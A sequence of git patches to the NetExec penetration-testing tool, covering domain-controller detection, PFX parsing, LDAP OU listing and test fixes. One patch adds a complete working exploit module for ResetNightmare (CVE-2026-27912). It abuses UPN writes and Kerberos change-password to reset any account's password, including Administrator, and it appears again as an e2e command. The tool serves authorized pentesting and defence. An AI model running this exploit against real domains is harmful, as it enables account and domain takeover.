self.rdp_error_status: From 4c3e407b30b29ce9c5945529147743f2ae8b66bc Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 5 Aug 2026 17:56:13 -0400 Subject: [PATCH 159/397] fix: remove unused _StoreAction import (#1190) Refs #1190 --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 142370b5e0..260d7af447 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -1,4 +1,4 @@ -from argparse import BooleanOptionalAction, _StoreTrueAction, _StoreAction +from argparse import BooleanOptionalAction, _StoreTrueAction from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action From 24c480657af3d8b61a9ed26d4fedab44060b9cae Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 6 Aug 2026 19:57:04 +0200 Subject: [PATCH 160/397] Add ResetNightmare to enum_cve --- nxc/modules/enum_cve.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index e0dde66308..6c51292ab8 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -35,6 +35,7 @@ def options(self, context, module_options): - CVE-2025-53779 (BadSuccessor) - CVE-2024-49019 (EKUwu / ESC15) - CVE-2026-54121 (Certighost) + - CVE-2026-27912 (ResetNightmare) CVE Filter for specific CVE number (default: All) EXPLOITATION Also provide sources for exploitation details (default: False) @@ -204,4 +205,20 @@ def on_login(self, context, connection): "message": "If host is an AD CS / CA server, it may be vulnerable to Certighost", "exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26", }, + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912 + "CVE-2026-27912": { + "alias": "ResetNightmare", + "dc_only": True, + "patches": { + (6, 2, 9200): 26026, # Windows Server 2012 + (6, 3, 9600): 23132, # Windows Server 2012 R2 + (10, 0, 14393): 9060, # Windows Server 2016 + (10, 0, 17763): 8644, # Windows Server 2019 + (10, 0, 20348): 5020, # Windows Server 2022 + (10, 0, 25398): 2274, # Windows Server 2022 23H2 + (10, 0, 26100): 32690, # Windows Server 2025 + }, + "message": "Password reset of any account possible via Kerberos change password abuse", + "exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/", + }, } From 9486274f96a5953510adcdf5d4ebdfa0d24b627c Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 6 Aug 2026 20:29:18 +0200 Subject: [PATCH 161/397] fix check isdc if no ntlm --- nxc/protocols/smb.py | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 1026e314c4..e243412650 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -870,17 +870,24 @@ def is_host_dc(self, aggressive_check=False): if self.isdc is not None: return self.isdc + # Tier 1 (SMB) always runs. Tier 2 (Kerberos) is added whenever the SMB + # tier cannot decide on its own (NTLM disabled), so the default path can + # still identify a DC without the flags. Tier 3 (RPC) is noisier (port + # 135) and stays behind the aggressive flags. Kerberos must precede RPC: + # RPC never returns None, so ordering it first would shadow Kerberos. probes = [self._is_dc_via_smb] + if self.no_ntlm or aggressive_check: + probes.append(self._is_dc_via_kerberos) if aggressive_check: - probes += [self._is_dc_via_rpc, self._is_dc_via_kerberos] + probes.append(self._is_dc_via_rpc) for probe in probes: result = probe() if result is not None: self.isdc = result return self.isdc - # inconclusive if all probes return None - if aggressive_check: + + if self.no_ntlm or aggressive_check: self.isdc = False return self.isdc @@ -893,13 +900,13 @@ def _is_dc_via_smb(self): session, the reason is decisive: a DC with NTLM enabled always accepts the null bind, so "NTLM on + no null session" means this is NOT a DC. Only "NTLM disabled" is inconclusive here (a real DC can refuse the null - bind then), so we hand that case off to the Kerberos/RPC tiers. + bind then), so we hand that case off to the Kerberos tier. """ if not self.null_auth: if not self.no_ntlm: self.logger.debug("NTLM enabled but no null session: host is not a DC") return False - self.logger.debug("No null session (NTLM disabled): deferring to Kerberos/RPC") + self.logger.debug("No null session (NTLM disabled): deferring to Kerberos") return None try: tid = self.conn.connectTree("SYSVOL") @@ -930,6 +937,9 @@ def _is_dc_via_kerberos(self): one (a PRINCIPAL_UNKNOWN reply is marginally quieter) and otherwise a placeholder - we never need to actually know the domain. """ + if not self._is_port_open(88): + self.logger.debug("Port 88 closed/filtered: no KDC reachable, deferring") + return None # targetDomain is not set yet when this runs on the no-NTLM path (it is # produced later by the isdc-dependent LDAP resolution), so read it # defensively and fall back to a placeholder - the realm need not be real. From 57fe370cf90623bedc57d705506a85d6c6e33063 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 6 Aug 2026 20:53:32 +0200 Subject: [PATCH 162/397] fix check isdc if no ntlm --- nxc/protocols/smb.py | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e243412650..6ebfedcf76 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -870,16 +870,11 @@ def is_host_dc(self, aggressive_check=False): if self.isdc is not None: return self.isdc - # Tier 1 (SMB) always runs. Tier 2 (Kerberos) is added whenever the SMB - # tier cannot decide on its own (NTLM disabled), so the default path can - # still identify a DC without the flags. Tier 3 (RPC) is noisier (port - # 135) and stays behind the aggressive flags. Kerberos must precede RPC: - # RPC never returns None, so ordering it first would shadow Kerberos. probes = [self._is_dc_via_smb] - if self.no_ntlm or aggressive_check: - probes.append(self._is_dc_via_kerberos) if aggressive_check: probes.append(self._is_dc_via_rpc) + if self.no_ntlm or aggressive_check: + probes.append(self._is_dc_via_kerberos) for probe in probes: result = probe() @@ -927,10 +922,7 @@ def _is_dc_via_smb(self): return None def _is_dc_via_kerberos(self): - """Tier 2: only a KDC answers a Kerberos AS-REQ, and in AD the KDC runs - only on DCs. Pre-auth, no credentials - the fallback for NTLM-disabled - hosts where no SMB session exists. - + """ The realm need not be correct: a live KDC answers a wrong realm with KDC_ERR_WRONG_REALM, which proves it is a KDC just as well as PRINCIPAL_UNKNOWN would. So we use the known domain if we happen to have @@ -960,27 +952,36 @@ def _is_dc_via_kerberos(self): return True def _is_dc_via_rpc(self): - """Tier 3: unauthenticated Netlogon endpoint lookup on 135. NTLM-agnostic - and needs no session, but heavier and noisier than the SMB/Kerberos - probes above, so it only runs when both of those were inconclusive. + """ + Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic + and needs no session; + Only a positive result (Netlogon registered -> True) or a definitive + negative from the endpoint mapper (it answered but Netlogon is absent, so + a live RPC host that is not a DC -> False) are conclusive. Anything that + just means "couldn't reach/finish the lookup" (135 filtered, timeout, + transport error) returns None so the Kerberos tier still gets a turn - + a DC can be reachable on 88 even when 135 is not. """ from impacket.dcerpc.v5 import nrpc, epm if not self._is_port_open(135): - self.logger.debug("Port 135 closed and no higher-tier signal: treating as not a DC") - return False + self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos") + return None self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...") try: epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + self.logger.debug("Netlogon endpoint registered: host is a DC") return True except DCERPCException: - self.logger.debug("DCERPCException on Netlogon lookup: probably not a DC") + self.logger.debug("Endpoint mapper answered but Netlogon not registered: host is not a DC") + return False except TimeoutError: - self.logger.debug("Timeout on Netlogon lookup: likely not a DC or unreachable") + self.logger.debug("Timeout on Netlogon lookup: inconclusive, deferring to Kerberos") + return None except Exception as e: - self.logger.debug(f"Error on Netlogon lookup: {e}") - return False + self.logger.debug(f"Error on Netlogon lookup ({e}): inconclusive, deferring to Kerberos") + return None def _is_port_open(self, port, timeout=1): """Check if a specific port is open on the target host.""" From 45fb4e9b0c9860aa08027c36d185118dc0b04d02 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 6 Aug 2026 20:54:41 +0200 Subject: [PATCH 163/397] fix check isdc if no ntlm --- nxc/protocols/smb.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 6ebfedcf76..a16b160b6b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -955,12 +955,6 @@ def _is_dc_via_rpc(self): """ Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic and needs no session; - Only a positive result (Netlogon registered -> True) or a definitive - negative from the endpoint mapper (it answered but Netlogon is absent, so - a live RPC host that is not a DC -> False) are conclusive. Anything that - just means "couldn't reach/finish the lookup" (135 filtered, timeout, - transport error) returns None so the Kerberos tier still gets a turn - - a DC can be reachable on 88 even when 135 is not. """ from impacket.dcerpc.v5 import nrpc, epm From 23e412b1ff5c8b4ed6e135d9c999fc0ed21cf142 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 6 Aug 2026 21:13:58 +0200 Subject: [PATCH 164/397] fix check isdc if no ntlm --- nxc/protocols/smb.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a16b160b6b..fd7d04158b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -922,7 +922,10 @@ def _is_dc_via_smb(self): return None def _is_dc_via_kerberos(self): - """ + """Tier 2: only a KDC answers a Kerberos AS-REQ, and in AD the KDC runs + only on DCs. Pre-auth, no credentials - the fallback for NTLM-disabled + hosts where no SMB session exists. + The realm need not be correct: a live KDC answers a wrong realm with KDC_ERR_WRONG_REALM, which proves it is a KDC just as well as PRINCIPAL_UNKNOWN would. So we use the known domain if we happen to have From 52d0196492abf06162487ba4366df3bc3813b763 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 6 Aug 2026 22:21:35 +0200 Subject: [PATCH 165/397] Add ResetNightmare module --- nxc/modules/resetnightmare.py | 136 ++++++++++++++++++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100644 nxc/modules/resetnightmare.py diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py new file mode 100644 index 0000000000..283f4d81fb --- /dev/null +++ b/nxc/modules/resetnightmare.py @@ -0,0 +1,136 @@ +import sys +from impacket.krb5 import constants +from impacket.krb5.types import Principal +from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError +from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN +from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError +from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes + + +class NXCModule: + """ + Module by @azoxlpf based on the ResetNightmare PoC and + https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/ + """ + + name = "resetnightmare" + description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password" + supported_protocols = ["ldap"] + category = CATEGORY.PRIVILEGE_ESCALATION + + def __init__(self): + self.context = None + self.connection = None + self.target = None + self.new_password = None + self.upn_user = None + self.upn_password = None + + def options(self, context, module_options): + """ + Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare). + Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC. + + TARGET sAMAccountName of the account whose password gets reset (append $ for a computer) + NEW_PASSWORD New password to set on TARGET + UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account) + UPN_PASSWORD Cleartext password of UPN_USER + + Examples: + netexec ldap -u -p -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!' + netexec ldap -u -p -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!' + """ + self.target = module_options.get("TARGET") + self.new_password = module_options.get("NEW_PASSWORD") + self.upn_user = module_options.get("UPN_USER") + self.upn_password = module_options.get("UPN_PASSWORD") + + if not all([self.target, self.new_password, self.upn_user, self.upn_password]): + context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required") + sys.exit(1) + + def resolve_account(self, sam): + response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"]) + entries = parse_result_attributes(response) + return entries[0]["distinguishedName"] if entries else None + + def get_account_upn(self, sam): + response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"]) + entries = parse_result_attributes(response) + if not entries: + return None, None + return entries[0]["distinguishedName"], entries[0].get("userPrincipalName") + + def set_upn(self, dn, upn): + try: + self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]}) + return True + except LDAPSessionError as e: + self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}") + return False + + def restore_upn(self, dn, old_upn): + try: + if old_upn: + self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]}) + self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}") + else: + self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]}) + self.context.log.display(f"Cleared fake UPN from {self.upn_user}") + except LDAPSessionError as e: + self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}") + + def request_changepw_tgt(self): + client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value) + kdc = self.connection.kdcHost or self.connection.host + try: + tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN) + except KerberosError as e: + self.context.log.fail(f"Failed to request change-password TGT: {e}") + return None + self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}") + return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key} + + def reset_password(self, tgt): + kdc = self.connection.kdcHost or self.connection.host + try: + changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc) + except KPasswdError as e: + self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}") + return False + return True + + def on_login(self, context, connection): + self.context = context + self.connection = connection + + target_dn = self.resolve_account(self.target) + if not target_dn: + context.log.fail(f"Target '{self.target}' not found") + return + upn_dn, old_upn = self.get_account_upn(self.upn_user) + if not upn_dn: + context.log.fail(f"Controlled account '{self.upn_user}' not found") + return + + context.log.display(f"Target: {self.target} ({target_dn})") + context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or ''}") + + if not self.set_upn(upn_dn, self.target): + return + context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}") + + try: + tgt = self.request_changepw_tgt() + finally: + self.restore_upn(upn_dn, old_upn) + + if tgt is None: + return + + if not self.reset_password(tgt): + return + + context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'") + context.db.add_credential("plaintext", connection.domain, self.target, self.new_password) From 0f8a9abccad8f0a21db6933c604d8b23ef74d12a Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Fri, 7 Aug 2026 18:44:49 +0200 Subject: [PATCH 166/397] add Errors --- nxc/modules/resetnightmare.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py index 283f4d81fb..ac52e33850 100644 --- a/nxc/modules/resetnightmare.py +++ b/nxc/modules/resetnightmare.py @@ -86,7 +86,7 @@ def request_changepw_tgt(self): kdc = self.connection.kdcHost or self.connection.host try: tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN) - except KerberosError as e: + except (KerberosError, OSError) as e: self.context.log.fail(f"Failed to request change-password TGT: {e}") return None self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}") @@ -96,7 +96,7 @@ def reset_password(self, tgt): kdc = self.connection.kdcHost or self.connection.host try: changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc) - except KPasswdError as e: + except (KPasswdError, KerberosError, OSError) as e: self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}") return False return True From 417c051c0d7e106f1e88af4ebb99de29172881e8 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Fri, 7 Aug 2026 18:51:41 +0200 Subject: [PATCH 167/397] add to e2e_commands.txt --- tests/e2e_commands.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 71a1917939..e966b9ea36 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -246,6 +246,8 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath +# resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig From fb722fc351d86b46b82db0250e27a888ac843c62 Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 7 Aug 2026 19:19:55 +0200 Subject: [PATCH 168/397] fix review code --- nxc/helpers/pfx.py | 41 ++++++++++++++++++++++++++--------------- 1 file changed, 26 insertions(+), 15 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index ff9a83085b..941ca237fb 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -38,12 +38,12 @@ from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding, rsa from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate from asn1crypto import cms from asn1crypto import algos from asn1crypto import core from asn1crypto import keys -from asn1crypto import pem from asn1crypto import x509 from minikerberos.protocol.dirtydh import DirtyDH @@ -75,10 +75,18 @@ def _load_asn1_certificate(data): - """Load a certificate as an asn1crypto object, accepting both PEM and DER input""" - if pem.detect(data): - _, _, data = pem.unarmor(data) - return x509.Certificate.load(data) + """Load a certificate as an asn1crypto object, accepting both PEM and DER input + + The certificate is parsed by cryptography and re-encoded, so that malformed input is + rejected here instead of failing later inside asn1crypto, which parses lazily + """ + cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data) + return _to_asn1_certificate(cert) + + +def _to_asn1_certificate(cert): + """Convert a cryptography certificate to the asn1crypto object the CMS structures need""" + return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER)) def _check_rsa_privkey(privkey): @@ -92,15 +100,14 @@ class myPKINIT: """ Copy of minikerberos PKINIT With some changes where it differs from PKINIT used in NegoEx + + This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto, + which fails at import time on any OpenSSL whose version has a two digit component """ def __init__(self): - self.privkeyinfo = None self.privkey = None self.certificate = None - self.extra_certs = None - self.user_sid = None - self.user_name = None self.issuer = None self.cname = None self.diffie = None @@ -121,12 +128,14 @@ def from_pfx_data(pfxdata, pfxpass, dh_params=None): if isinstance(pfxpass, str): pfxpass = pfxpass.encode() # cryptography requires None (not an empty password) for a pfx without password - privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None) + privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None) + # a pfx holding only a certificate parses fine, so check the key before the certificate + if privkey is None: + raise Exception("No private key found in the PFX file") if cert is None: raise Exception("No certificate found in the PFX file") pkinit.privkey = _check_rsa_privkey(privkey) - pkinit.certificate = x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER)) - pkinit.extra_certs = [x509.Certificate.load(extra.public_bytes(serialization.Encoding.DER)) for extra in extra_certs or []] + pkinit.certificate = _to_asn1_certificate(cert) pkinit.setup(dh_params=dh_params) return pkinit @@ -138,11 +147,13 @@ def from_pem(certfile, privkeyfile, dh_params=None): with open(privkeyfile, "rb") as f: keydata = f.read() try: - privkey = serialization.load_pem_private_key(keydata, password=None) + try: + privkey = serialization.load_pem_private_key(keydata, password=None) + except ValueError: + privkey = serialization.load_der_private_key(keydata, password=None) except TypeError as e: + # raised by both loaders when the key is encrypted and no password was given raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e - except ValueError: - privkey = serialization.load_der_private_key(keydata, password=None) pkinit.privkey = _check_rsa_privkey(privkey) pkinit.setup(dh_params=dh_params) return pkinit From 752fa37062cf25dd0e3be52fc7eca50fa1f8d4bf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 10 Aug 2026 15:49:30 -0400 Subject: [PATCH 169/397] Linting --- nxc/protocols/ldap.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 56a0f0748f..ae694ef0a2 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -793,14 +793,12 @@ def groups(self): self.logger.debug(f"Skipping item, cannot process due to error {e}") def ous(self): - # Building the search filter if self.args.ous: # Find the OU's distinguished name first self.logger.debug(f"Dumping users from OU: {self.args.ous}") ou_resp = self.search( f"(&(objectCategory=organizationalUnit)(ou={self.args.ous}))", ["distinguishedName"], - 0, ) ou_parsed = parse_result_attributes(ou_resp) @@ -815,7 +813,6 @@ def ous(self): resp = self.search( "(&(objectCategory=person)(objectClass=user))", ["sAMAccountName", "cn"], - 0, baseDN=ou_dn, ) resp_parsed = parse_result_attributes(resp) From 1dacb3b95d5e1d063c28483c564d3c5334e3ca37 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 10 Aug 2026 23:20:19 -0400 Subject: [PATCH 170/397] Provide header for user listing --- nxc/protocols/ldap.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ae694ef0a2..e4feb162a3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -822,8 +822,9 @@ def ous(self): self.logger.fail(f"OU '{self.args.ous}' has no users") return + self.logger.highlight(f"{'-sAMAccountName-':<30} -cn-") for user in resp_parsed: - self.logger.highlight(user.get("sAMAccountName", user.get("cn", "Unknown"))) + self.logger.highlight(f"{user.get('sAMAccountName'):<30} {user.get('cn', '')}") else: # List all OUs self.logger.debug("Dumping all organizational units") From 205eb8c334a73376bc76f4f565872a54f0420ebd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 10 Aug 2026 23:20:33 -0400 Subject: [PATCH 171/397] Formating --- nxc/protocols/ldap.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e4feb162a3..8e527b5f0a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -828,19 +828,18 @@ def ous(self): else: # List all OUs self.logger.debug("Dumping all organizational units") - resp = self.search("(objectCategory=organizationalUnit)", ["ou", "distinguishedName"], 0) + resp = self.search("(objectCategory=organizationalUnit)", ["ou", "distinguishedName"]) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned: {len(resp_parsed)}") - self.logger.highlight(f"{'-OU-':<40} {'-Distinguished Name-'}") + self.logger.highlight(f"{'-OU-':<40} -Distinguished Name-") for item in resp_parsed: try: ou_name = item["ou"] dn = item["distinguishedName"] self.logger.highlight(f"{ou_name:<40} {dn}") except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error: {e}") + self.logger.debug(f"Exception: {e}", exc_info=True) def computers(self): resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"]) From b69f2b39af8b73808f206d0b5c48d053a1415c3d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 10 Aug 2026 23:20:58 -0400 Subject: [PATCH 172/397] Improve help text --- nxc/protocols/ldap/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 6f5527aa79..aa83639612 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -32,7 +32,7 @@ def proto_args(parser, parents): vgroup.add_argument("--users", nargs="*", help="Enumerate domain users") vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") - vgroup.add_argument("--ous", nargs="?", const="", help="Specify OU name to query or list all OUs") + vgroup.add_argument("--ous", nargs="?", const="", help="Specify OU name to query all users in that OU or list all OUs") vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") From 03bbb03aba3b3da0356e4b2936054b7ea7dac90e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 10 Aug 2026 23:23:27 -0400 Subject: [PATCH 173/397] Formating --- nxc/protocols/ldap.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8e527b5f0a..e22f3f3e8f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -833,11 +833,9 @@ def ous(self): self.logger.debug(f"Total of records returned: {len(resp_parsed)}") self.logger.highlight(f"{'-OU-':<40} -Distinguished Name-") - for item in resp_parsed: + for ou in resp_parsed: try: - ou_name = item["ou"] - dn = item["distinguishedName"] - self.logger.highlight(f"{ou_name:<40} {dn}") + self.logger.highlight(f"{ou['ou']:<40} {ou['distinguishedName']}") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) From 43ada515193d8d575623f3a7d6b1ef20b76ae954 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 10 Aug 2026 23:26:28 -0400 Subject: [PATCH 174/397] Formating --- nxc/protocols/ldap.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e22f3f3e8f..d841a80436 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -806,14 +806,13 @@ def ous(self): self.logger.fail(f"OU '{self.args.ous}' not found") return - ou_dn = ou_parsed[0]["distinguishedName"] - self.logger.debug(f"Found OU DN: {ou_dn}") + self.logger.debug(f"Found OU DN: {ou_parsed[0]['distinguishedName']}") # Search for users scoped to that OU resp = self.search( "(&(objectCategory=person)(objectClass=user))", ["sAMAccountName", "cn"], - baseDN=ou_dn, + baseDN=ou_parsed[0]["distinguishedName"], ) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned: {len(resp_parsed)}") From 414b8c8dd2cb6525b1fc0ad117f97bbaa3c1e0a8 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 11 Aug 2026 09:23:35 -0400 Subject: [PATCH 175/397] fix(tests): remove nonexistent safe_shares and fix mssql-dumper module name in e2e tests MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove safe_shares module tests (lines 155-157) — this module never existed in the codebase, causing 3 guaranteed failures - Rename mssql-dumper to mssql_dumper (lines 300-302) — the module uses an underscore, not a hyphen --- tests/e2e_commands.txt | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 71a1917939..6d4652421c 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -152,9 +152,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -netexec smb 